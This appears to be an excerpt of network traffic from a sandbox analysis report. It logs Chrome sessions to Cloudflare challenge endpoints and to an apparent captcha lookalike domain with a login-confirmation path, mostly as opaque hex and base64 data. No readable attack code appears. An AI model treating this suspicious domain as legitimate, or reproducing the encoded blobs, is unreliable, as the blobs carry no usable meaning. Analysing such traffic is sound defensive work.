2025-01-09 04:14:14 UTC	1369	IN	Data Raw: 30 4f 33 78 74 76 4c 76 38 37 72 71 36 50 6a 55 7a 41 48 37 37 65 54 36 41 64 76 32 2f 51 58 65 43 77 63 4a 34 2f 6f 49 44 4e 49 4c 43 78 45 53 39 42 45 52 32 68 4d 52 47 50 4d 42 49 68 7a 33 42 52 30 68 49 68 4d 56 4a 52 59 58 4b 43 6a 75 43 54 45 73 43 51 45 76 4d 51 73 33 4d 7a 62 36 4d 7a 55 35 4f 69 38 37 4f 77 4d 33 50 6a 30 48 51 30 4e 45 49 52 6c 45 53 55 6f 2f 55 55 77 54 51 30 46 52 55 6c 4e 4e 56 44 42 48 55 31 63 66 53 31 68 64 4e 32 4e 67 59 44 78 62 58 32 51 72 54 57 4a 71 4c 32 4e 6f 61 54 4e 76 61 33 41 33 5a 33 52 30 55 48 4e 39 65 44 39 5a 62 58 74 44 63 34 5a 2f 52 32 57 41 68 57 46 5a 68 59 74 6a 6a 34 75 4d 6a 6e 47 4a 6b 59 4b 54 6c 4a 4e 62 64 59 6d 58 58 35 75 5a 6e 59 36 62 6e 4b 43 69 6f 35 32 68 61 34 6d 6c 71 4a 74 39 70 61 35 Data Ascii: 0O3xtvLv87rq6PjUzAH77eT6Adv2/QXeCwcJ4/oIDNILCxES9BER2hMRGPMBIhz3BR0hIhMVJRYXKCjuCTEsCQEvMQs3Mzb6MzU5Oi87OwM3Pj0HQ0NEIRlESUo/UUwTQ0FRUlNNVDBHU1cfS1hdN2NgYDxbX2QrTWJqL2NoaTNva3A3Z3R0UHN9eD9ZbXtDc4Z/R2WAhWFZhYtjj4uMjnGJkYKTlJNbdYmXX5uZnY6bnKCio52ha4mlqJt9pa5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49742	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:14 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/481282651:1736393486:Bp3x-n9pI2ebSXOZGUuODS5EUk23AO1LxnyuD7yebjE/8ff1994b58e44369/5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:14 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 04:14:14 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: m4O2jCFC3FzchwDjyvvMANPV9o2uSlOqchE=$ipN8Dtwt43nMjOkT Server: cloudflare CF-RAY: 8ff1996ebe054243-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:14 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49748	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:28 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/481282651:1736393486:Bp3x-n9pI2ebSXOZGUuODS5EUk23AO1LxnyuD7yebjE/8ff1994b58e44369/5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 35546 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:28 UTC	16384	OUT	Data Raw: 76 5f 38 66 66 31 39 39 34 62 35 38 65 34 34 33 36 39 3d 7a 69 78 30 51 67 33 53 25 32 62 67 2b 31 78 31 6e 33 70 32 78 30 73 69 4c 53 43 6d 47 4c 2b 30 6d 54 4c 53 4c 2d 30 67 69 33 4e 48 4c 76 30 78 54 30 4c 76 74 4c 43 30 73 2b 67 73 4c 79 70 56 4c 79 71 34 4c 41 42 48 33 78 4c 37 30 74 35 4c 30 30 4c 54 2b 78 34 75 77 67 6d 7a 35 30 6b 39 4c 38 32 31 4c 4c 37 4c 34 41 6e 37 50 4c 6b 79 43 48 53 66 4c 74 68 45 6f 4c 74 62 6f 51 48 6d 6d 4c 39 33 4b 34 4c 33 4b 67 4c 73 43 31 45 6a 4c 4c 39 4f 4c 34 4b 49 38 76 78 4c 79 41 68 30 57 42 67 77 39 6e 56 4c 67 35 79 30 59 43 31 66 34 35 34 4c 54 43 56 61 31 43 2d 4c 31 4f 32 6e 73 63 58 67 4c 4b 78 34 33 34 32 67 31 73 68 39 59 72 66 4c 75 37 62 4e 43 56 38 6d 71 4b 57 6e 52 6e 78 46 78 49 57 4d 52 48 38 33 Data Ascii: v_8ff1994b58e44369=zix0Qg3S%2bg+1x1n3p2x0siLSCmGL+0mTLSL-0gi3NHLv0xT0LvtLC0s+gsLypVLyq4LABH3xL70t5L00LT+x4uwgmz50k9L821LL7L4An7PLkyCHSfLthEoLtboQHmmL93K4L3KgLsC1EjLL9OL4KI8vxLyAh0WBgw9nVLg5y0YC1f454LTCVa1C-L1O2nscXgLKx4342g1sh9YrfLu7bNCV8mqKWnRnxFxIWMRH83
2025-01-09 04:14:28 UTC	16384	OUT	Data Raw: 43 6d 4c 6b 61 30 67 4c 72 43 58 66 6d 4f 78 77 31 49 2d 72 44 77 4c 59 34 37 4c 34 77 4c 35 4c 4d 77 67 43 4c 4b 30 62 78 6b 77 4c 50 4c 6b 77 4c 6d 4c 24 4c 6c 54 33 2b 33 56 4c 4e 30 6b 70 77 58 35 34 48 52 54 33 65 4c 55 30 4c 34 4c 7a 2b 53 77 74 42 4c 62 4c 33 77 74 54 33 63 4c 6c 77 34 76 33 4b 4c 77 43 33 6e 4c 41 4c 67 43 74 39 4c 77 4c 6c 72 32 2d 33 35 2d 4e 6e 4c 36 4c 77 4c 74 67 42 32 64 55 30 6c 43 31 4c 33 69 77 73 30 7a 4c 4f 74 4c 6a 30 72 2b 67 47 4c 63 30 78 54 67 45 4c 57 30 62 54 67 4f 4c 33 4c 67 24 4c 4c 30 38 51 48 35 64 7a 2b 6d 24 6c 32 33 45 42 35 35 34 32 30 4c 4c 72 45 37 77 6f 4c 2b 42 6b 78 4c 6f 4c 42 4a 66 45 63 24 30 35 35 6b 4e 33 4f 77 33 4c 56 42 67 4b 6e 6c 77 72 78 33 61 4c 4b 77 34 76 67 6c 4c 41 74 32 76 31 58 4c Data Ascii: CmLka0gLrCXfmOxw1I-rDwLY47L4wL5LMwgCLK0bxkwLPLkwLmL$LlT3+3VLN0kpwX54HRT3eLU0L4Lz+SwtBLbL3wtT3cLlw4v3KLwC3nLALgCt9LwLlr2-35-NnL6LwLtgB2dU0lC1L3iws0zLOtLj0r+gGLc0xTgELW0bTgOL3Lg$LL08QH5dz+m$l23EB55420LLrE7woL+BkxLoLBJfEc$055kN3Ow3LVBgKnlwrx3aLKw4vglLAt2v1XL
2025-01-09 04:14:28 UTC	2778	OUT	Data Raw: 4d 79 4c 34 65 33 6d 77 74 30 6b 77 33 24 47 7a 30 4c 78 55 79 6c 2d 67 33 72 62 57 4d 54 2d 32 24 24 6c 2b 6e 65 42 6f 67 32 69 53 78 4e 55 63 56 4c 4e 45 6b 4f 31 6f 6a 49 6d 58 33 73 39 39 35 35 32 45 43 50 4c 79 77 34 34 4c 54 76 45 2b 69 6c 65 47 4c 6c 69 74 6e 4c 58 4c 31 43 31 4d 38 76 4c 6c 69 33 38 47 47 39 79 6f 57 43 56 32 38 4a 50 2b 77 33 6e 4c 72 77 67 61 71 75 30 74 4c 34 65 30 63 4c 4d 39 74 2d 33 78 77 66 69 32 32 33 4f 77 54 72 67 75 75 49 6f 6f 43 50 4d 33 35 34 73 4c 34 43 4c 32 43 47 6d 24 67 77 4b 6a 32 7a 38 7a 75 33 4c 54 69 4c 39 4e 79 53 4a 47 4c 44 68 52 2b 56 34 36 6f 49 4b 35 45 4c 4c 78 70 57 58 63 30 6b 48 48 78 79 36 4c 67 66 4c 63 4e 2b 73 2d 51 51 61 4b 66 35 67 54 71 75 61 76 6b 4f 50 31 65 38 6a 35 70 66 33 4b 62 66 43 Data Ascii: MyL4e3mwt0kw3$Gz0LxUyl-g3rbWMT-2$$l+neBog2iSxNUcVLNEkO1ojImX3s99552ECPLyw44LTvE+ileGLlitnLXL1C1M8vLli38GG9yoWCV28JP+w3nLrwgaqu0tL4e0cLM9t-3xwfi223OwTrguuIooCPM354sL4CL2CGm$gwKj2z8zu3LTiL9NySJGLDhR+V46oIK5ELLxpWXc0kHHxy6LgfLcN+s-QQaKf5gTquavkOP1e8j5pf3KbfC
2025-01-09 04:14:28 UTC	1361	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4856 Connection: close cf-chl-out: 0MAKue9RIURULZW3EJu8wzfWsTcl5JuHRYZgEBeq6/8SPkEEBllZBIkCstLkoBx868+AsuEFS/TYNWx942BS6+xg3/9Sq14ZosR6ABiUmQ==$Dd3CylPonWnbXd66 cf-chl-out-s: YVCQV5OXahXBz4Tt/Nr6SKK5XqWilFyT2GPtBe+YVN6i2mySdZH62fYfFZMkAK7DrpA6uEOUEROru+nXDtDW5NBMM8NU/HgIWguVYhaAbd1IrtZ06VddxOBkv6z2K5OIkRWzigvfJr86sqKbTUBDdOULvYjEIuIWgfNTP98hCkVCf0wqt3va91TLpe8Orf0hSWPolBVdHCoJPj8MdRm5pO7SlNaI/cwAews+6axDNfPqtWNfhWv6SbcZFVrufRE4YovchM7K38ZA/uYKplEsqFnubOPXZAFNTVJhEC3B0sd2f8gxrG6+SxuYF89zcccw3UQ2nKIJ9HcWQFAwJrOqi8wc0EfK7ztw/TVMT/qloR6U+O8CwzxYV0hSkRyZr2xHnaiQC7eYv5F8SWTxOCAl/ywd4LJ8d8S4375Iu2DfDC1quZQ7Pg9nma/ojRzJ8FBsV3T4yhQll7TpvBiZIE8SvnejEqf4jnKc3Kj5Pfxnx7nOXgnRoQVG+Mr+osE1erNxf+GxDbsn7QNlkO8yWI5mj+svUSpeLGduPDz9eRG0gc4gEwxob7UnYOgXoVAv1obMTtT+OHch2RKV9Gvxs1mxEm5IEBgiAAhNge6DToIV6FKaoBPYEWDbRTr2ud+GXy8GExGsd381K0mXXrXlcJA04ZF2t8v0i3zAGvToc9m91u28pVyWrn6ZspIJAt6eF0hXyUFwmGhUiH8xM3+IyAKkf83nbk7gPmrbWnxUwtQjmqZ+9ADmVRHKkQwVUU9FTNbQy0lCKk/HfulH/e3pYAwnxzVbA5h3PIfzNVwE5XLwwW55VdyzFL7DQtl54Irh178JS/n1ujbP/CA8Lh6X5hnb5YGfrN1Z44Kv/JcXXmdPNUR/2xTBHLzP3la9kHXy6SrE0Nt4h/weAd+7aavQ10cOt3emKvRN4bcKsUYl4h8kOswu0e9sZ8s+XAEcxXHXzrzR+AXG+5GDuJBX978KLcXjRxOGDmcTwsRHN+Hv2XgPrko=$Agy6y [TRUNCATED] Server: cloudflare CF-RAY: 8ff199c5fdfe43dd-EWR
2025-01-09 04:14:28 UTC	32	IN	Data Raw: 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:28 UTC	1345	IN	Data Raw: 70 5a 57 56 72 48 71 52 77 35 61 7a 67 59 43 55 74 70 4c 42 72 4c 75 68 74 37 6e 4b 6f 34 7a 53 7a 62 65 57 79 71 47 37 31 4d 66 57 76 36 32 7a 32 37 33 44 75 73 47 38 77 64 75 6e 34 2b 4f 6b 71 2b 66 6e 70 75 32 6b 73 4b 62 30 74 63 7a 41 35 39 50 63 32 72 33 48 7a 38 33 4b 79 75 79 38 32 66 54 6c 34 73 62 38 2b 64 2f 75 78 2b 44 38 37 2b 44 69 2f 74 50 4f 35 2b 51 44 35 77 73 64 42 74 59 66 45 64 6b 56 4a 52 38 66 49 76 6e 6e 4b 74 77 6f 35 79 6b 43 4d 4f 6b 7a 42 79 37 76 45 53 50 30 4d 76 41 6b 46 78 55 2f 4b 69 6a 79 2b 42 67 50 44 30 4d 61 41 77 5a 4c 51 42 52 42 49 30 41 6b 45 53 30 66 42 69 70 54 45 79 6f 59 55 79 38 62 53 45 70 55 50 78 6b 72 57 45 46 46 49 54 78 66 5a 55 68 66 4f 79 4e 4b 62 47 39 72 61 6e 42 77 59 79 30 30 4b 6b 64 7a 63 31 67 Data Ascii: pZWVrHqRw5azgYCUtpLBrLuht7nKo4zSzbeWyqG71MfWv62z273DusG8wdun4+Okq+fnpu2ksKb0tczA59Pc2r3Hz83Kyuy82fTl4sb8+d/ux+D87+Di/tPO5+QD5wsdBtYfEdkVJR8fIvnnKtwo5ykCMOkzBy7vESP0MvAkFxU/Kijy+BgPD0MaAwZLQBRBI0AkES0fBipTEyoYUy8bSEpUPxkrWEFFITxfZUhfOyNKbG9ranBwYy00Kkdzc1g
2025-01-09 04:14:28 UTC	1369	IN	Data Raw: 36 65 45 6b 35 43 33 71 6f 36 57 6c 34 2b 39 70 37 4f 49 6b 70 32 30 65 37 43 67 74 36 53 31 70 71 62 46 68 36 6e 43 69 6f 61 37 75 70 50 53 71 59 37 43 71 37 71 31 74 4b 36 79 71 38 43 7a 79 36 33 57 30 63 36 34 70 75 6e 4a 79 4b 4c 74 78 4c 76 65 77 39 4c 42 76 4f 50 76 36 73 7a 6d 30 4d 62 51 36 4e 79 36 37 76 72 36 7a 37 77 42 37 76 6d 2f 31 65 45 4d 34 4f 66 32 41 63 2f 76 37 63 6e 4c 36 78 44 79 35 42 58 77 35 65 2f 54 38 76 6e 62 47 76 63 42 32 78 51 47 47 42 76 7a 42 79 77 58 46 79 4c 37 45 4f 73 73 4b 41 55 43 45 78 51 52 4b 67 38 73 4b 7a 30 57 47 6a 4d 58 48 44 51 5a 50 79 5a 41 47 53 6b 30 4e 42 30 6f 4a 6c 41 4d 4b 43 34 6c 4c 41 73 72 4a 52 42 57 56 43 34 6c 4f 44 4d 71 4f 6c 74 62 4d 55 4a 57 52 68 38 6f 51 6b 68 4a 53 55 4e 4b 59 6b 56 4f Data Ascii: 6eEk5C3qo6Wl4+9p7OIkp20e7Cgt6S1pqbFh6nCioa7upPSqY7Cq7q1tK6yq8Czy63W0c64punJyKLtxLvew9LBvOPv6szm0MbQ6Ny67vr6z7wB7vm/1eEM4Of2Ac/v7cnL6xDy5BXw5e/T8vnbGvcB2xQGGBvzBywXFyL7EOssKAUCExQRKg8sKz0WGjMXHDQZPyZAGSk0NB0oJlAMKC4lLAsrJRBWVC4lODMqOltbMUJWRh8oQkhJSUNKYkVO
2025-01-09 04:14:28 UTC	1369	IN	Data Raw: 52 78 67 35 6d 4a 6e 71 61 71 6c 48 65 59 6a 5a 71 33 75 73 61 38 77 62 53 36 7a 62 72 4a 6d 62 36 78 76 73 6d 6c 30 34 37 4e 30 74 69 6e 73 5a 6e 4f 32 72 72 66 6f 4c 66 63 32 36 47 63 74 74 79 67 6e 4f 48 73 71 63 53 70 35 4c 44 66 77 75 79 7a 71 4f 6a 77 30 63 61 79 2f 64 58 75 79 2f 62 65 38 4f 7a 50 41 75 41 46 42 4e 6f 44 35 73 76 6c 41 4e 38 47 34 52 4c 62 41 75 66 74 30 67 2f 72 47 39 59 58 36 78 30 4f 47 68 6f 6b 44 43 4d 4f 43 50 4c 6f 39 51 54 38 49 51 34 59 4c 2b 72 76 43 4f 30 76 38 53 49 7a 4c 77 4d 4d 2b 53 6b 77 44 78 6f 50 4d 43 4d 69 47 7a 4d 6e 41 79 55 65 4a 43 42 45 4a 45 6b 49 54 7a 34 64 4d 69 68 43 4e 53 55 74 4d 54 6c 58 57 30 6f 76 58 31 6f 37 50 78 38 6c 51 53 49 6c 50 55 67 32 51 56 70 59 54 54 42 76 52 69 34 73 51 56 4e 70 4f Data Ascii: Rxg5mJnqaqlHeYjZq3usa8wbS6zbrJmb6xvsml047N0tinsZnO2rrfoLfc26GcttygnOHsqcSp5LDfwuyzqOjw0cay/dXuy/be8OzPAuAFBNoD5svlAN8G4RLbAuft0g/rG9YX6x0OGhokDCMOCPLo9QT8IQ4YL+rvCO0v8SIzLwMM+SkwDxoPMCMiGzMnAyUeJCBEJEkITz4dMihCNSUtMTlXW0ovX1o7Px8lQSIlPUg2QVpYTTBvRi4sQVNpO
2025-01-09 04:14:28 UTC	773	IN	Data Raw: 55 6e 62 4b 50 77 72 61 61 75 5a 76 4a 73 70 65 67 75 4b 61 76 6e 4a 7a 44 78 63 4c 41 77 34 32 7a 6c 37 54 62 76 4d 6a 4f 7a 37 69 34 77 62 4f 73 33 73 37 45 78 62 54 48 78 36 66 41 31 61 65 71 6f 73 66 70 76 37 48 4c 77 65 72 72 7a 73 6e 44 74 65 66 76 2f 76 50 72 7a 77 50 33 34 4f 58 51 36 65 66 2b 79 4e 6a 68 78 65 67 4e 35 39 2f 4c 38 67 66 78 2b 50 50 75 44 78 4c 5a 2b 65 30 50 39 68 50 65 37 66 73 4f 47 74 38 63 43 50 6f 46 41 52 77 77 44 66 6b 4f 41 65 73 57 44 53 6b 42 42 43 50 79 4a 6a 34 64 44 51 6a 34 4b 76 6f 56 49 42 73 6e 52 30 55 6c 4a 69 77 4b 50 52 6f 6c 51 6b 4e 55 53 30 45 75 45 6a 46 59 4f 45 77 78 4a 6a 6b 37 4c 42 34 33 50 30 41 58 55 45 59 78 52 6c 67 6b 4a 45 78 47 50 55 6c 63 53 6b 35 7a 56 46 35 34 57 56 6c 5a 62 56 51 76 63 46 Data Ascii: UnbKPwraauZvJspeguKavnJzDxcLAw42zl7TbvMjOz7i4wbOs3s7ExbTHx6fA1aeqosfpv7HLwerrzsnDtefv/vPrzwP34OXQ6ef+yNjhxegN59/L8gfx+PPuDxLZ+e0P9hPe7fsOGt8cCPoFARwwDfkOAesWDSkBBCPyJj4dDQj4KvoVIBsnR0UlJiwKPRolQkNUS0EuEjFYOEwxJjk7LB43P0AXUEYxRlgkJExGPUlcSk5zVF54WVlZbVQvcF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49749	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:29 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/481282651:1736393486:Bp3x-n9pI2ebSXOZGUuODS5EUk23AO1LxnyuD7yebjE/8ff1994b58e44369/5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:29 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 04:14:29 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: sCdJ6y08hqDiBv6rT76D0IDCkNXzcwWv828=$6BAuFVBKyEmC6AZd Server: cloudflare CF-RAY: 8ff199cab85842b3-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:29 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49751	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:29 UTC	1365	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/180720004:1736393476:mFG7POtOgDgLe5kGWxPY11WtzEbgsb56QEWrIXCnj-A/8ff1993789555e6a/x4hCD.qJP5qxPdpdOpgfPkMegImKGSvGl.Hl3t88agM-1736396046-1.2.1.1-zQKWPrKW7XXEt8HyHQm82ItiIzFuITEuolp7cLgKefGI_UykmYqemjR69M5jLpvZ HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive Content-Length: 6484 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" CF-Chl-RetryAttempt: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: x4hCD.qJP5qxPdpdOpgfPkMegImKGSvGl.Hl3t88agM-1736396046-1.2.1.1-zQKWPrKW7XXEt8HyHQm82ItiIzFuITEuolp7cLgKefGI_UykmYqemjR69M5jLpvZ sec-ch-ua-platform: "Windows" Accept: / Origin: https://admin.recaptcha-extranet.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:29 UTC	6484	OUT	Data Raw: 76 5f 38 66 66 31 39 39 33 37 38 39 35 35 35 65 36 61 3d 45 53 39 67 46 49 73 65 71 49 71 63 39 63 57 73 6a 59 39 67 39 71 4a 53 63 48 73 74 4a 62 67 52 37 49 47 48 41 4a 63 4a 33 51 73 49 4a 31 34 51 4d 37 67 4a 6c 39 61 4a 37 67 4f 71 49 4f 4a 44 6a 47 4a 49 72 4a 50 37 63 4f 4d 6f 6f 67 73 4c 4a 6e 51 49 49 54 6b 52 37 49 36 48 4a 4f 39 73 44 30 67 6f 54 4f 61 4a 4a 53 73 6e 4a 55 4c 65 4a 38 36 24 38 4a 4d 45 51 6f 31 6c 61 6e 51 5a 38 73 25 32 62 4a 57 77 62 49 61 7a 67 4a 50 4a 39 76 71 53 65 67 4a 61 65 76 67 4a 2d 49 53 4a 75 67 73 48 4a 73 39 4a 64 35 68 53 52 67 73 34 38 4a 49 78 65 75 4d 38 79 45 67 4a 43 67 63 74 75 59 4a 4a 4e 4f 41 34 74 69 49 36 62 59 6f 4a 65 5a 73 48 47 35 73 34 56 33 66 69 61 55 78 38 48 34 51 4a 30 52 7a 65 4a 6f 38 61 Data Ascii: v_8ff1993789555e6a=ES9gFIseqIqc9cWsjY9g9qJScHstJbgR7IGHAJcJ3QsIJ14QM7gJl9aJ7gOqIOJDjGJIrJP7cOMoogsLJnQIITkR7I6HJO9sD0goTOaJJSsnJULeJ86$8JMEQo1lanQZ8s%2bJWwbIazgJPJ9vqSegJaevgJ-ISJugsHJs9Jd5hSRgs48JIxeuM8yEgJCgctuYJJNOA4tiI6bYoJeZsHG5s4V3fiaUx8H4QJ0RzeJo8a
2025-01-09 04:14:30 UTC	1354	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4124 Connection: close cf-chl-out: bw4MqqOEFkK+9NGcLu59nzplPWhQrITd19N6KyBUtv1foohoL1S56pURWiKIGNL8nR0bekPGRBY45w/whdQPCgpRWggJ$KVKUlNLMIokDTKum cf-chl-out-s: Zb4avO+3Xc/0NWiOUyQm2dKA3+ani9OAuiE4ZbDSbPsBD5KpBGZ6TWXrHyrn3qS957WHAlomn2EqsT/mLwaBPDdMPH+K6/3FnhtoNsbsZvImXMRIDeJ0OsHfYrLNdM2dK76z0f7pjDjQGRqV6GBS6za+kycv44Uyj0j8JTLbqb8IV3SjF+ytIDhmSCQWjLRqStQBQtHoscO5resWeHiBPQfP4sUG5BuL3m83QpClq1EdvUeuypuhY+KTtQ+f6chT3S/Sp46sUJk0/wh+0d1S1i/Mg5tXFmYa+NsRRYTDArAlN0fkXJw56ItCqjMGx36JNL7EYBU1pj7U9p5tke3W08Fibdr0jFFb1hYhQnJ2WktENxJoS83osz/2P1C4RbnynJ3rCIQmwT1o3s+DFfFlP4ZtEUlgkjcGJC9QjOp/8VRBEYiqFX+o/PyaQwB/p10UK75pMYCjajZ5uaupphdAQ5aDx7dpC5RrCqJH4uFIQ0HGibq0s/96KzULkLQ/roozfkcynfTZ6ABlw9xt3TdTH8PmMe10jCkZbN8MvzwN5g==$6AaN5GZpKTrNO9uZ set-cookie: cf_chl_rc_m=;Expires=Wed, 08 Jan 2025 04:14:30 GMT;SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TfqYXaNPOBwkVtm1d%2BtzKeyQPSuUwDDr4h1N%2FhzotLndBHX8Ut8M%2BHGMsgXKCbiArLOea1ti9ecoWbeahKXTfhW0mFYg4WOKyhXBhmGW6tPAPQx5%2Fn%2FX82ni7cB2Kgv2%2BQJkrfA7%2BM1LIVubT9I4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff199cd6fc8443e-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:30 UTC	217	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 35 38 34 26 6d 69 6e 5f 72 74 74 3d 31 35 37 37 26 72 74 74 5f 76 61 72 3d 36 30 37 26 73 65 6e 74 3d 38 26 72 65 63 76 3d 31 32 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 36 30 26 72 65 63 76 5f 62 79 74 65 73 3d 38 34 37 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 37 38 30 34 38 37 26 63 77 6e 64 3d 31 39 35 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 38 66 66 36 36 30 31 36 30 32 37 34 64 35 62 33 26 74 73 3d 32 30 31 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1584&min_rtt=1577&rtt_var=607&sent=8&recv=12&lost=0&retrans=0&sent_bytes=2860&recv_bytes=8471&delivery_rate=1780487&cwnd=195&unsent_bytes=0&cid=8ff660160274d5b3&ts=201&x=0"
2025-01-09 04:14:30 UTC	1167	IN	Data Raw: 65 4a 36 77 73 6f 35 38 6d 4c 75 75 6c 4b 6a 42 73 38 75 32 6f 63 4f 6a 71 39 47 68 72 61 53 68 71 63 65 6e 6a 36 79 30 73 39 75 78 7a 71 79 65 7a 74 47 75 30 73 61 69 76 63 44 4b 70 73 48 59 34 65 4c 62 7a 2b 44 6f 78 4d 65 31 73 73 44 6e 78 65 6e 6c 31 38 58 58 38 64 6e 50 79 74 62 58 74 39 66 51 2f 4e 55 4a 34 2b 58 61 35 74 2f 70 30 4f 73 4b 37 65 50 76 34 2f 6a 68 46 52 6e 5a 45 4f 7a 6e 2f 65 6f 52 42 50 33 7a 37 2f 6f 71 2b 42 72 69 46 66 6b 70 4c 54 49 6b 41 65 37 38 41 78 41 75 41 67 59 6c 4f 66 4d 77 44 66 59 4c 44 52 73 6b 48 6b 62 38 4d 43 45 7a 4a 44 6f 71 48 43 67 66 4a 42 41 50 48 56 45 6c 4d 45 59 6e 49 6a 4d 74 48 54 6f 34 58 6b 77 78 55 6c 34 35 49 6b 52 66 55 55 6f 